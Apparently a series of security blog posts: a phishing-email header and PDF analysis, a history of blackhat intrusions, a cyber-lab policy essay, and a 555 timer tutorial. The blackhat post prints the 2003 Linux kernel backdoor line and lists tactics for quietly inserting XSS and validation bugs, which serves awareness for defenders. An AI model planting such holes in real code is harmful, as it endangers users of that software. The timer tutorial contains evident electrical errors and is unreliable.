Interlace                       : Noninterlaced
Image Size                      : 198x164
Megapixels                      : 0.032

So we can see it was created relatively recently.

The CFTC is a real organization and David Gillers is a member of that organization, however, he isn't a Senior Procurement Executive, he is the Chief of Staff and COO:

Lets look at the message headers.

Message Headers

Message headers
Close
Return-Path: <admin@nccofl.org>
X-Original-To: *************************
Delivered-To: *************************
Received: from hosting.dataspace.com.np (hosting.dataspace.com.np [103.243.100.13])
(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client
certificate requested) by ************** (Postfix) with ESMTPS id
4Vzw2V1wMQz9vPJY for <*************************>; Wed, 12 Jun 2024 19:04:33 +0000 (UTC)
Received: from nccofl_admin by hosting.dataspace.com.np with local (Exim 4.97.1)
(envelope-from <admin@nccofl.org>) id 1sHTGg-0000000073Z-2YjN for
*************************; Thu, 13 Jun 2024 00:49:22 +0545
Authentication-Results: **************; dmarc=none (p=none dis=none)
header.from=cftcc.gov
Authentication-Results: **************; spf=pass smtp.mailfrom=nccofl.org
Authentication-Results: **************; arc=none smtp.remote-ip=103.243.100.13
Authentication-Results: **************; dkim=none
To: *************************
Subject: Computer Peripheral Quote #: CFTC-495
X-Php-Originating-Script: 1017:.alexus.php
From: David Gillers <david.gillers@cftcc.gov>
Mime-Version: 1.0
Content-Type: text/html
Reply-To: David Gillers <david.gillers@cftccgov.org>
Message-Id: <E1sHTGg-0000000073Z-2YjN@hosting.dataspace.com.np>
Date: Thu, 13 Jun 2024 00:49:22 +0545
X-Pm-Spam: 0yezJI6YSpyJec91ztFGcjIxoJyLCvXBZcQniisnOkQZFNfRVijANOslxzJCL2Yy9ogZT2C4MNED0s0lIkIPJVTR1J01XTVUfSVkV0UPlI6TiuzMWN0VsSZkI0Tf1hDRVTVNRXJ0B2U0UCN6IBdWzICJLRFUEfJVRlRPJ9ETVGUZSRJVFfRlTERN9lOQU6yIUWAzus0lMkIUhxfTUBU1SRV0fM50TVWy8I6NCuzAWN0VsUhkIUTfxVTTUH0FURIS6dBzWCLNJdJU0GF9RU9kNU10XVQI9FERUiVIROslwiwSXkUWN9JRFWl9TQxUJUlERVWD9JURVJUZSRRUfPxkQ0QFtI6RCszAWIEjwy4yMDNuMAwMTzjELIxGplR3
<--SNIP--->
Y6I4wMC3DAMMUDwwADMTMxMMwMT5jEMLJCtslWY2XhNVndG53JbX12vsVGZjIioFpbWhGNbd5Cji12bWal59mZFlW5adVHuuQWZjMyAAyNDujEMYt2wsICdmIh1xfaW02FYZdWvflncmbtFI6ZSQlVIRFEUiMVRCLtJlsYWh2NXdVGn5J3b3XyBIib2ujAONAzz3UTMDM3Ak0Nj0jQMNwCiz9FcGctFowIjyjALMQj51YzMTMzEc1Nj0TkNMwyiuVnc2Xh5UibWuiJOZcXtuV2cGZyV19IniSwfcJ3p6ICZjI2YlmNj2TQMY EW3kN2NTOwUZjNGlTVNYJy9fQ==
X-Attached: CFTC-4295.pdf
X-Pm-Origin: external
X-Pm-Transfer-Encryption: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
X-Pm-Content-Encryption: on-delivery
X-Pm-Spamscore: 5
X-Pm-Spam-Action: inbox

A few things stand out:

Domain & IP Analysis

The IP for nccofl.org is 103.243.101.13.
Registrar: PDR Ltd. d/b/a PublicDomainRegistry.com
Every other detail of the domain shows: REDACTED FOR PRIVACY

The IP has the following information:

inetnum:          103.243.100.0 - 103.243.101.255
netname:          DATASPACEPVTLTD-NP
descr:                Dataspace Pvt. Ltd.
country:           NP
org:                   ORG-DPL33-AP
admin-c:          DPLA23-AP
tech-c:              DPLA23-AP
abuse-c:           AD1277-AP
status:              ASSIGNED PORTABLE
mnt-by:            APNIC-HM
mnt-routes:     MAINT-DATASPACEPVTLTD-NP
mnt-irt:             IRT-DATASPACEPVTLTD-NP
last-modified:  2023-07-25T04:04:41Z
source:              APNIC
irt:                     IRT-DATASPACEPVTLTD-NP
address:           Putalisadak-28, Kathmandu Bagmati 44600
admin-c:          DPLA23-AP
tech-c:              DPLA23-AP
organisation:  ORG-DPL33-AP
org-name:       Dataspace Pvt. Ltd.
org-type:         LIR
country:          NP
address:          Putalisadak-28
phone:            +977-1-5369718
e-mail:            ds@ds.com.np

The IP is registered in NEPAL.

The IP for cftccgov.org is 84.32.84.32.

It appears to be located in:

Ground Floor, 4 Victoria Square, St Albans, Hertfordshire, AL1 3TF, UK

File Analysis

I can't really find any evidence of an exploit or other type of attack within the PDF so I decided to look at it in a controlled system and see what the contents were:

Looks fairly official, but its requesting my contact info.

I analyzed some of the meta data from the PDF and found:

<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?>
<?adobe-xap-filters esc="CRLF"?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='3.1-702'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
<rdf:Description rdf:about='23B7679B-EEDE-57C7-267A-95E8A8FE1EFC' xmlns:pdf='http://ns.adobe.com/pdf/1.3/'><pdf:Keywords>www.Neevia.com, Document Converter Pro, Convert to PDF or Image in batches!</pdf:Keywords><pdf:Producer>Neevia Document Converter Pro v7.5.0.241 (http://neevia.com)</pdf:Producer></rdf:Description>
<rdf:Description rdf:about='23B7679B-EEDE-57C7-267A-95E8A8FE1EFC' xmlns:xmp='http://ns.adobe.com/xap/1.0/'><xmp:ModifyDate>2024-06-10T05:12:02-04:00</xmp:ModifyDate><xmp:CreateDate>2024-06-10T05:12:02-04:00</xmp:CreateDate><xmp:MetadataDate>2024-06-10T05:12:02-04:00</xmp:MetadataDate><xmp:CreatorTool>Microsoft Word 2016</xmp:CreatorTool></rdf:Description>
<rdf:Description rdf:about='23B7679B-EEDE-57C7-267A-95E8A8FE1EFC' xmlns:dc='http://purl.org/dc/elements/1.1/'><dc:format>application/pdf</dc:format><dc:description><rdf:Alt><rdf:li xml:lang='x-default'></rdf:li></rdf:Alt></dc:description><dc:creator><rdf:Seq><rdf:li>Windows User</rdf:li></rdf:Seq></dc:creator><dc:title><rdf:Alt><rdf:li xml:lang='x-default'></rdf:li></rdf:Alt></dc:title></rdf:Description>
<rdf:Description rdf:about='23B7679B-EEDE-57C7-267A-95E8A8FE1EFC' xmlns:xmpMM='http://ns.adobe.com/xap/1.0/mm/'><xmpMM:DocumentID>uuid:008A1793-EDB4-5D17-C264-47F9AB37C26F</xmpMM:DocumentID><xmpMM:InstanceID>uuid:23B7679B-EEDE-57C7-267A-95E8A8FE1EFC</xmpMM:InstanceID></rdf:Description>

Neevia Document Converter Pro is a software product that dynamically converts Microsoft Office 2007/2010/2013/2016/2019/365, WordPerfect, HTML, AutoCAD DWG/DWF, EML, MSG, PostScript and many other document types to PDF, PDF/A, PostScript, JPEG, TIFF, PNG, PCX, BMP. To me, this indicates that they created the document in Word and then used Neevia to convert it to PDF, which is a little strange since Word can already export to PDF, but maybe they wanted to control the meta data.

Essentially, it looks like the trick is to get me to fill out the PDF and reply to the fake gov address. I don't know if this is just for data collection, or to establish contact, or what the purpose is.

I checked our various logs and servers to see if that IP, or one similar, had contacted any of our systems but no luck.

In any case, I'm not sure we are the right people to send spear phishes to, but I appreciate it as it gives me more content for my blog and sometimes I get novel techniques I can reuse.

Thanks for reading.

A.

Old school hackers already know everything I'm going to say in this post but this is for the benefit of people who weren't around in the security industry in the 90s and 2000s as well as for professionals who have little exposure to the true blackhat community.

I have no idea who planted the XZ code or why.  I don't know if it was a nation state, a blackhat group, a malicious insider, or a 14 year old script kiddie. What I want to focus on for this post  is to give some experience based background on the ability of non-nation state affiliated blackhat groups to pull off sophisticated attacks.

First lets define Blackhat:

• Possesses and uses highly advanced as well as common techniques
• Accesses computers without authorization
• Targeted
• Steals & Backdoors Source
• Sniffs networks for up to years at a time
• Taps mail boxes and communications

While there is overlap, this is somewhat in contrast to regular computer criminals:

• Accesses computers without authorization
• Mostly Un-Targeted / Targets of Opportunity
• Smash & Grab
• SQLi, Mass Malware, Scanner Based
• Focused on credit cards, PII, Game Accounts, stealing crypto

Blackhats target:

• High Profile Organizations
• Security Researchers
• Other, lesser skilled hackers

Why do they target Security Researchers?

• Disclosure - Blackhats don't like it when researchers burn bugs because it costs them time and effort. Often a blackhat will have and use a bug for months or years before a researcher discoveres and discloses it.
• Chasing Media Attention - Blackhats don't respect researchers of low to moderate skill who are always in the media.
  Lack of Skill - Some blackhats have mind blowing advanced skill and see many security industry personalities as poseurs.
• Access to Capabilities - They steal security research, exploits, and tools from researchers.

I can speak in another post about the history of blackhats compromising high profile security researchers and companies, but suffice to say its been going on since at least the mid 90s when Mitnick hacked Shimomura. For one brief example, here is a list of alleged compromises from the blackhat group ZF0:

• Cult of the Dead Cow
• Security Focus
• Comodo (SSL/TLS Certificate company)
• Kevin Mitnick (Security researcher & former Blackhat)
• Dan Kaminsky (Security Researcher & purported DNS Root Key Holder)
• Hak5 (Security testing tool company)

And many more. Often the known target is not the ultimate target of the group, but rather a stepping stone.

Here are some things I've personally seen from sophisticated blackhat groups and individuals:

• Air Gap Jumping
• Hardware implants
• Persistent Bios Rootkits (~1995)
• Highly sophisticated implanted backdoors
• Complex, protocol based covert channels
• Fantastic crypto implementations
• High level of coordination & hand off
• Several incidents deemed “could only be nation state activity”
• Multi-year undetected operations
• Linux 64 Kernel 0day
• PaX ASLR Bypasses as far back as 2002

Some Blackhat History

Back in 2009 I co-spoke on a talk called Why Blackhats Always Win where we revealed some blackhat techniques, mindsets, and some big compromise events that are reminiscent of this XZ situation.

The content of this talk comes from working major Incident Response Cases, surveillance on blackhat groups, knowing active blackhats in person and getting insider info, etc. A lot of the techniques I will talk about here are very old, although still in use. I'm sure modern blackhats have even more sophisticated approaches that I'm not burning in this post.

Here are some highlights:

Apache.org

• Attackers used no exploits.  Instead they relied on configuration errors
• Used a combination of small bugs leveraged against the system to gain
  Administrative access to the main source repository
• Patiently waited for root to login.

Debian.org

• Attackers used no exploits.
• SSH Authkey misuse on a system in Japan and a system in the Netherlands
• Allowed access to an administrative account on debian.org
• SSHD backdoored and core Debian OS source backdoored
• Was unknown for 6 months (thousands of Debian users compromised)

Wordpress.com

• Attackers used zero day vulnerability
• Backdoored Live web application
• Accessed chief source code repository
• Backdoored source code
• Was quickly noticed and fixed
• The security researcher Dan Kaminsky was compromised by backdooring a wordpress repo and then socially engineering him into updating his installation, loading the backdoor on his own site.

Comcast.net

• Attackers used no exploits
• Attackers Social Engineered Network Solutions into granting them access to Comcast's account
• Attackers redirected comcast.net domain name to attacker controlled servers

Major Linux Distro

• Heard of attacker getting in over months
• Subtlety backdoored distro & introduced bug
• Matched md5s
• Able to own any system for 6 months
• Distro NOT the ultimate target

Major International Bank

• 18 month operation found development host on separate network
• Attackers used custom vulnerability in a co-located website and read many files via directory traversal because the server OS (Solaris) treated directories like files. Attacker could So you can do cat dir/ and get results as if it was ls
• Discovered copy of every bank transaction goes over email to sysadmin
• Copied mail spool (and all transaction data) via target's own website

Popular Apple Jailbreak Tool Backdoored

• Attacker gained something like 1.7 million shells overnight.

Other Alleged Examples with Code

Linux Kernel Hack

This attack happened way back in Nov 05, 2003 and involved a two-line addition to the Linux kernel source:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL;

Note "current->uid = 0", not "current->uid == 0”, = vs == has a very different result.

By passing in __WCLONE|__WALL the blackhat is root.

Redhat Hack

Uncreal IRCD Hack

June 12, 2010 at 9:17 am Unreal ircd anounces that the server distrobution had been backdoored since at least NOVEMBER 2009!!

The backdoor consisted of 9 LINES in struct.h.

Many security researchers used this server for communications. Who knows what was lost, what other compromises this lead to. Here is the code:

Here is how it’s triggered:

The AB likely refers to one of the most sophisticated blackhat groups of all time, ac1db1tch3z.

Blackhat Operational Structure

In around 2016 I designed a system that allowed the user to use a shopping cart style web page to generate malware for many different types of systems with 100s of endpoint actions and anti-analysis techniques. In around 2017 I was shocked to discover a blackhat tool, in use in the wild, that did the same but with way more capabilities. They could generate implants for windows, linux, osx, and mobile platforms, that weren't detected by current AV signatures, and which were hard to analyze, in seconds.

So how does the blackhat community work? Obviously there are exceptions and lots I don't know but this is my current understanding.

Communication via private, invite only, live chat systems. Historically IRC, AIM, SILC, private servers and web systems. Currently Telegram, Signal, private systems.

Vetting process usually requiring a "vouch" from a known blackhat and likely proof if illegal activity.

Breakdown of Focus and Skills

One individual or group will be focused on:

• Collecting shells on targets
• Source Code Theft
• Vulnerability discovery
• Exploit Development (ROP, Continuation of Execution, stability)
• Implant / Post Exploitation Tooling
• Social Engineering (Lots of targeting mobile phone companies to bypass MFA)
• Infrastructure (proxies, VPNs, misattribution, tool storage)
• Credential Harvesting / Cracking
• Payment / $ Management (cryptocoin, SWIFT, moving currency)

All of these things are traded. For example lets say I have a shell on a VMware corporate network host. I might provide access to the shell in exchange for an 0day against an internal system or for a good implant I can use to expand my access. If I am writing exploits I might exchange an 0day for access to Microsoft source code. Sometimes people work together, sometimes as individuals just trading. Groups coalesce, conduct an operation, and then disband.

I know of one blackhat who, when they were 14, compromised a non-US nation state air gapped system. The target believed they were dealing with a sophisticated nation adversary attack.

You have to respect their capabilities, organization, and skillset, even if you disagree with their actions.

Methodologies Comparison

Blackhats and security professionals have very different goals

They also have very different methodology approaches:

An attacker is hard to detect when they look like a normal user, so blackhats do a ton of work to not look like a hack. They attempt to have a greater knowledge of system internals than sysadmins and defenders. Blackhats don't do what penetration testers do, unless they want to look like a penetration tester or ride in on a pentest coattails.

Blackhat Problems

What sorts of things to blackhats think about and deal with?

They have to come up with approaches for secure data exfiltration. They need to evade DLP systems, full packet capture, a sysadmin noticing a large amount of data going out, etc.

They have to deal with and work around dangerous data. What do I mean by dangerous data? Lets say I am a blackhat and I am stealing someones mailbox. That mailbox might be full of viruses, malware, phishing attacks. As a blackhat I don't want to accidentally compromise myself while reviewing target data.

I have seen, and have been a hostile target, aka one that embeds attribution call home capabilities in juicy data hoping the attacker will make a mistake. I have also seen trojaned TAR files that are built to overwrite home directories so the attacker blows away all their own data when untarring a file stolen from a victim.

Blackhats have to deal with data rate issues. When you are exfiltrating large amounts of data over Tor or privately create misattribution networks it can be painfully slow, unstable, and frustrating.

How to blackhats deal with these issues?

They burn stolen data to a CD /USB key and move it to an air gapped machine they can rebuild after each operation. They use scripted Tor data grabs to auto make exfiltration in small chunks, or use high speed multihop networks they create by hacking hosts in several different countries.

Blackhat Approaches

Sophisticated blackhat groups and individuals employ some interesting tactics in order to maintain control of target assets. Here are a few examples:

Some blackhats will introduce subtle bugs into code bases instead of backdooring or replacing binaries. I've seen cases where blackhats modified source to be vulnerable rather than inserting a clearly discernable backdoor. This is much harder to detect and often will be chalked up to being a coding error rather than maliciously intended.

• Take out or modify user input validation
• Inject your vulnerable code
• Focus on vague intent
• Never be obviously and solely malicious
• Look for apps with previous vulnerabilities
• Re-introduce patched bugs (happens all the time in development shops)

Lets take this input validation PHP code as an example:

A blackhat who gains access to this code might make a subtle change such as the following:

By adding < and > to the allowed characters, the blackhat introduces a potential Cross-Site Scripting (XSS) vulnerability. An attacker could submit a name like

which might not be properly sanitized later and could be rendered in HTML, executing malicious JavaScript in a user's browser.

Another example would be:

Removing the ! (logical NOT operator) inverts the logic of the validation check. Now, the condition only triggers the error message if the input is valid, essentially allowing any input that doesn't match the pattern. This might cause other problems such as the app not working correctly or lots of error messages, but it's just an example meant to illustrate the mindset.

Some blackhats will downgrade applications on target hosts to known vulnerable versions. I saw this happen with a particular version of VNC. This can cause problems if the target has a robust vulnerability management program, but usually the attacker will know this before employing this technique.

When all else fails some blackhats will opt to keep admins & incident response staff busy and second guessing by flooding hosts with worms & malware to set off tons of alarms and then hide in the noise. I worked on one case where the attackers came in with some alien technology level tools that took me 3 months to reverse engineer. The attacker determined that I had done this and then came back with 200 crappy, noisy tools in one area of the network, which resource exhausted me analyzing and reversing them while one of the attackers team mates was quietly hacking and exfiltrating data in another part of the network. (Painful lesson for me)

The End

The point of this post was to illustrate a few key points:

• It can be difficult to differentiate between a blackhat and a nation state attacker. Both can display high levels of sophistication. Both can make silly mistakes
• Backdoors and source code compromises have been happening for over 30 years and are will continue happening.
• Some percentage (maybe most?) of the most severe compromises have yet to be discovered / published.
• You can't necessarily trust what you are seeing. It might be a deception, a misdirection, or something else.
• Understanding history is critical in order to pattern match the future.

Thanks for listening,

A.

Truth be told, I've been beating this drum for about 20 years, but in light of recent public awareness I think its a good time to revisit it.

Recent news is full of stories of foreign adversaries hacking our critical infrastructure, interfering with satellites, jamming GPS, spying on our government agencies and corporations.

Fears of a devastating cyber attack have even found their way into popular culture and movies.

We desperately need a Cyber Manhattan Project.

By this I mean a Federally Funded Research & Development Center (FFRDC) whose primary focus is on Offensive and Defensive cyber research in the same way that there are National Labs focused on Stockpile Stewardship, Energy, Special Nuclear Materials, etc.

This FFRDC needs a Sponsor, or group of Sponsors to commit to funding it for a long period of  time just like the other National Labs. The types of sponsors I can envision are:

• Cyber-Command
• Space Command
• The Intelligence Community (NSA, CIA, DIA, FBI, etc.)
• Department of Energy (Due to its oversight of some aspects of Critical Infrastructure)
• DARPA

The Problems

There are several problems that I see:

a.) There already exists a National Cybersecurity FFRDC under MITRE sponsored by NIST, so why do we need another one?

NCF is doing good work with things like MITRE Att&ck and CVE. However it is limited in scope and its sponsor is limited in authorities as well as funding.  It is housed under an organization with many different focus areas. Los Alamos National Laboratory was founded to design nuclear weapons and maintain the stockpile in order to ensure US supremacy in military and national security. We need an FFRDC with a similar vision.

b.) NSA, Cyber-Command, and others already have a cyber-focus within their organizations so what do we need a cyber FFRDC for?

STRATCOM, the Airforce & the Navy do not build their nuclear weapons. The labs do that for them, and they in turn are authorized to manage and deploy the weapons. This is a relationship with clearly defined roles.

A cyber FFRDC would interact with those organizations as customers, taking input regarding their needs and gaps, performing research, and providing capabilities that those organizations could then deploy. This would also provide opportunities for standardization and compatibility between different toolsets across the government and military.

c.) Existing Agencies won't want to give up or share their cyber programs.

There is no reason they have to. A cyber FFRDC would provide enablement, support, and enhancement to existing programs. This actually helps make the case for a Cyber FFRDC. Each of those organizations have their own authorities and areas of focus:

• NSA: Large scale capabilities in support of mass international collection efforts.
• CIA: Highly targeted capabilities in support of specific HUMINT targeting and covert actions.
• Cyber-Command: Military effects.

In many cases the capabilities used by these sorts of organizations are produced by contractors anyway. A cyber FFRDC can produce research & development beneficial to all those organizations, who can then tailor and integrate it according to their needs. Additionally, a cyber FFRDC can be a powerful partner in testing & validating externally provided solutions (similar to the relationship between MIT Lincoln Labs and DARPA).

d.) Defense contractors have the cyber space covered.

They do not. There is a near infinite amount of work to be done in the space, plenty of room for other players. Also, the defense contractor approach is fraught with issues and limitations. Let me illustrate with one simple example:

 1.) A defense contractor wins a bid to develop a capability for a government customer.

 2.) It costs $15 million, takes 2 years, and requires 30 people to build.

 3.) The capability is specifically crafted for that moment in time.

 4.) If the capability is burned it is lost. The whole process must be repeated to create a new capability.

 5.) Those capabilities are often constructed in a monolithic way that makes it hard to adapt them for different operational use cases and environments.

 6.) Defense contractor staff commonly switch between companies, following bid wins, limiting diversity of thought and approach available to the government. Defense contractors are also highly incentivized to keep costs down, often limiting the quality of cyber staff available. We are limited in how we can use cyber defense contractors in ways other countries are not.

The Solution

How would such a cyber FFRDC be constructed?

The first consideration is to build up a broad capability in fundamental cyber-science research. What do I mean by this?

Lets take a National Lab. In order to accomplish their mission they must have a cadre of :

• Physicists
• Chemists
• Materials Scientists
• Optical Experts
• Explosives Technicians
• Radio Frequency Engineers
• etc.

Along with the associated equipment and lab space so that those experts can perform research. A cyber FFRD would have a similar need. Here are some examples of the pillars of fundamental skills required:

In a cyber FFRDC there would be Divisions, Groups, and Teams working in dedicated facilities on all of the above subjects and more.

The results and tools that come out of that research would feed into:

• Sponsors
• Select Industry Partners
• Interested Agencies
• Standards Organizations
• Policy Makers
• Tech Transfer & CRADA

The Questions

What types of questions would a Cyber FFRDC explore?

• How knowledge flows back and forth between offense and defense and how to improve these flows?

A cyber FFRDC could employ and improve upon the Red Crow Lab testing process outlined here: https://blog.redcrowlab.com/the-process/.

• How can AI/ML be used to enable cyber research?
• How can quantum computers accelerate solving cyber problems?
• Large scale virtualization of cyber effects on critical and telecommunications infrastructures.
• How can instrumentation, data collection & mining of controlled cyber attacks assist in the rapid development of heuristics and signatures?
• What would a "cyber nuke" look like, what would be its impact, and what would be the policies and impacts of its use?
• What is the current cutting edge in cyber of our adversaries?
• Cross domain research between cyber, RF, space, and hardware.
• What does the future of cyber-weapons look like?

There are many more questions that could be answered by a properly funded and staffed cyber FFRDC and this is just want the country needs to get back on track as a leader in the field and to preserve National Security.

If you are in a position to have an impact on the concept of a cyber FFRDC and you want to learn more, feel free to contact me.

Thanks for reading.

A.

Hello, And today I'll show you how to assemble, read, and analyze the signal created via the 555 Timer Circuit using a NE555 IC, ( Integrated Circuit), on a Breadboard. In this tutorial we'll be using the NE555 model timer. Most Precision Integrated Timer Circuits, ( Like the standard HA17555, or HA17555S, Series Circuit ) will work fine for this case since they both work with building both A-stable, and Mono-stable Circuit Configurations.

But do keep in mind that for the process of wiring, and hooking up the circuit will be different depending on what certain model of IC, (Integrated Circuit) you're using.

*Check your 555 timer's datasheet for more information on the chip's pin-out diagram*

Setting up the circuit:

Firstly go ahead and attach your 555 Timer directly to the breadboard. Make sure to place the IC in the center gap of the board, bridging the two sides as shown in the picture below.

Figure 1

Generally for using a standard 555 Timer Circuit like the, "HA17555", or, "HA17555S", you'll want to connect Pin 6 of the 555 Timer to the + 5 Volt Powerline on your Breadboard.

Figure 2

But for this case, since I'll be using the NE555 Integrated Circuit for my timer, we'll have to look at this section of the data sheet that lists the following about using the NE555 Circuit for A-Stable, & Mono-Stable mode timers:

"As shown in Figure 12, adding a second resistor, ( RB ), to the circuit of Figure 9 and connecting the trigger input to the threshold input causes the timer to self-trigger and run as a multi-vibrator. The capacitor ( C ) charges through ( RA ) and ( RS ) and then discharges through ( RS ) only. Therefore the duty cycle is controlled by the values of ( RA ), and ( RB ).

This astable connection results in capacitor ( C ), charging and discharging between the threshold-voltage level (≈
0.67 × VCC) and the trigger-voltage level (≈ 0.33 × VCC). As in the mono-stable circuit, charge and discharge times (and, therefore, the frequency and duty cycle) are independent of the supply voltage."

This means for our use case here, adding that additional 1k resistor, ( RB ), will allow the capacitor ( C )'s. charge and discharge rate to be between the threshold-voltage level (≈ 0.67 × VCC) and the trigger-voltage level (≈ 0.33 × VCC). Note Mono-stable operations requires wiring the resistor ( RB ), and the 0.01 uF capacitor on the +5 Vcc line

So in the case you're using a NE555 Timer, go ahead and attach a 1k Ohm resistor from the 5 Volt power supply on your Breadboard, to Pin 8 on the chip through a 1k Ohm resistor. ( Fig 3 ).

Figure 3

**Pin-Out Diagram below for more info**

Place a (1uf) micro-farad Capacitor into Pin 2 (TRIGGER) of the Chip, and a wire connection (Black Wire), from the 555 Timer's Pin 1 to the Ground Line. (Figure 4 below)

Figure 4

Make sure that your capacitors orientation is in the correct position. The Grey strip should be facing towards the right, with the Anode (Long Leg), inserted into the Ground line of your Breadboard.

*Note: Improper placement/wiring may result in capacitors exploding at high Voltages*

Then, Go ahead and place a wire connection, (Green Wire) from Pin 6 (TRIGGER),  onto Pin 2 of the Chip. This will provide the capacitor with power to fill up with through the 100k Ohm resistor we attached Pin 6. ( Figure 5 Below )

Figure 5

The output signal of the 555 Timer is on Pin 3 of the Chip. Place an LED with the Anode side, (Longer Leg), in the same line as Pin 3. And Cathode side (Shorter Leg), to Ground through a 220 Ohm Resistor. (See Figure 6)

Figure 6

Powering on the Circuit

Now lets move onto actually powering on the 555 Timer Circuit.

Plug in you Power and Grounds lines to a 5 Volt, power supply. For my case I'll be using an old USB cable that I've crimped and soldered the ends off to plug straight into the Breadboard.

When powering on the circuit you should end up seeing the LED start Blinking ON and OFF.

*If the LED does not just start Blinking or is just ON, you may have to check the Resistors, /and or, Capacitor Values for proper timing adjustment*

Figure 7

The Ground and Power of my Breadboard are connected together so that both sides of the Circuit shares the same PWR & GND lines.

Measuring & Reading the Signal coming from the 555 Timer

So now, let's move onto reading the signal being produced by the 555 Timer Circuit, using a Probe connected to an Oscilloscope.

Start by attaching a couple of wires to both arms of the probe using the clips at each end, ( * Or any probes that work with your brand of Oscilloscope *)

Connect the one end of the probe to the Ground line on your breadboard, and the other to Pin 3 on the timer, ( The output pin. ), the same line the LED's Anode side, is plugged into, (The Longer Leg ).

Figure 8

You'll have to adjust the various settings depending on your brand Oscilloscope to make sure that the scale of the sign-wave is correct and should look something like shown in the picture below:

Figure 9

The Yellow line on the picture shown above is the output signal we created, on Pin 3 of the 555 Timer. You should be able to see the signal move up and down as the LED on your breadboard flashes On and Off.

Here we see the 50.0ms (milli-second), signal we're reading from the oscilloscope's Probe. Its in the 100mV (milli-Volt) range, with the bottom of the yellow, line, our output voltage at, (0.00) Volts on the bottom, and about (3.00 something) Volts on the  top.

*note the volts on your meter may also hover around 3.00 to 4.00-ish Volts. This is perfectly normal as stated in the Data Sheet for the NE555 Timer, "Minimum Output Voltage as = 3.33 Volts", and we see something around that on our Oscilloscope in the picture below*

Figure 10

Now let's take a step back for a second to understand exactly what is happening inside the 555 Timer.

Inside of the 555 Timer.

Below we see a drawing of the 'Block Diagram' for the 555 Timer Circuit. (Figures 11 &, 12), ( * As provided by Ben Eater, Links to his project used for certain references throughout this walkthrough: https://eater.net/ *)

In this Diagram, ( Figures 11, & 12 ), we see two main things, an SR-Latch, and a pair of comparators. Everything we see inside the blue box on the left is everything inside the 555 Timer.

The Black Power line running through the center of the 555 timer is a form of Voltage divider. That divider has three, 5k (Kilo- Ohm) resistors running along the 5 Volt power line on the inside of the 555 timer. In turn, splitting the Voltage into thirds from 5.00 Volts, down to 3.00 Volts, then subsequently 1.67 Volts, and finally to Ground, 0.00 Volts. ( See Figure 12 for more info )

The SR-Latch is a component that, in it of itself, is a little complicated and I can't quite go into full detail in this tutorial, but basically its function works something like this:

An SR-Latch has two input Terminals, and two output Terminals, a Set, ( S ), a Reset ( R ), an Output ( Q ), and an Inverse Output ( Q' ).

The Set ( S ), in the SR-Latch sets the Output ( Q ), voltage HIGH when the Set ( S ) comparator connected to the terminal is switched ON, letting current through.

The Reset ( R ), Terminal sets the Output ( Q ), voltage LOW, when the comparator connected to the Reset ( R ), is switched ON, turning OFF the Set ( S ) terminal.

The Inverse Output ( Q' ), in the SR-Latch is just always the opposite of ( Q ), Output. In the schematic shown below, the Inverse Q inside this circuit is leading to a Discharge Transistor inside of the 555 Timer, going straight to ground.

The two comparators, in this circuit act as switches for both the Set ( S ), and the Reset ( R ), terminals on the SR-Latch.

Those comparators take in two input signals and compares the two. Letting only the higher voltage though. So with that in mind, taking a look back at the Schematic shown below, ( Figures 11, & 12 ), again we can see that the Comparators are running along the +5 Volt, Voltage divider. The bottom comparator ( Set ( S ), is between the third resistor and Ground of the Circuit. This means that the "+" Positive, side of the bottom comparator will be charged at 1.67 Volts, and the "-" Negative, at 0.00/Ground. This will turn on the comparator, in turn, turning on the Set ( S ) Terminal, powering on the Output ( O ) Terminal, HIGH.

Some thing to keep in mind, is that the Red line is the +5 Volt powerline coming from the Breadboard, down to the 1uF ( Micro-Farad ), capacitor. As that capacitor begins to charge, the voltage on the capacitor will rise, making the voltage along the Black voltage divider to also subsequently begin rising. This means, ( as shown in Figure 12 below ) that once the current goes above the second 5 Kilo-Ohm resistor along the voltage divider, changing the total voltage on that resistor 3.33 Volts. Since 3.33 is > than 5.00 Volts, the Reset ( R ), comparator latches ON, Turning OFF the Set ( S ) terminal, and making the Output ( O ), voltage LOW.

But something else also happens after the Reset ( R ), latch turns ON. The Inverse Output ( Q ), terminal also turns on, pulling the voltage down to that Pull-Down Resistor to Ground. This will start draining the 1uF Capacitor, lowering the voltage on the divider back down to 0, in turn, switching the Reset ( R ), latch OFF and the Set ( S ), back on. ( Since the average voltage along the voltage divider next to the second comparator is 1.67 Volts above, and 0.00/Ground below, the Set ( S ), comparator turns back on, starting the cycle over again. )

This process is how the 555 Timer circuit functions in generating an A-Stable Clock Precision based square wave signal.

Measuring/Reading the Signal & Charge from a 555 Timer Timer

Now moving back to the Oscilloscope, we gonna want use two probes for our purposes this time. We'll start again with the first probe connected through one of the ends to Pin 3 (Output), on the Chip, and the other to Ground.

Attach the second prob to the Junction between Pin 2 and the 1uF, (Micro-Farad), capacitor. This line will read the Charge/Discharge of the capacitor as is Builds up and then empties. As well as connect the other end of the second probe into the Ground line, just like the first.

Figure 13

**Make sure your probes looks something like, or similar to what's shown in the picture's above and below**

Now power back on your Oscilloscope and take look at the screen. Measuring 100ms ( milli-seconds), in length, The Yellow line, is the Output ( O ), voltage signal coming from Pin 3 on the 555 Timer. Its shaped like a square sign wave just like before.

The Blue line, is the 1uF Capacitor's, charge Increasing and decreasing as the capacitor's voltage fills up all the way to the peak of the Yellow line at 5 Volts, until the capacitor then empties again, We see the slope of the capacitor as it drops down with the signal back to 0.00 Volts again.

Figure 14

(* You may have to adjust the on-screen settings and the scale of sign wave properly like before, but again the Settings/Adjustments on the Oscilloscope may vary from the one used here depending on your make and model *)

Now if we zoom in to that line right where the voltage peaks, we would see that clean transition from 0.00 Volts, up to 5.00 Volts actually is not so clean.

What we end up seeing zooming in even more, evidently, is just a lot of noise. As the signa's oscillation moves up and down, the waves curve also oscillates between the 0.00 and 5.00, Voltage.

We can attempt to smooth out this curve.

Looking at the data sheet, it states that Pin 5 of the 555 Timer, "Controls comparator thresholds, Outputs 2/3 VCC, allows bypass capacitor connection. ", so by putting a 0.1uF Microfarad capacitor connecting Pin 5 to ground on your breadboard, you should be able smooth out the transitions between timings a bit. ( *Adding a second 0.1uF capacitor across the power and ground lines of your breadboard can additionally help with smoothing out the signal's level* )
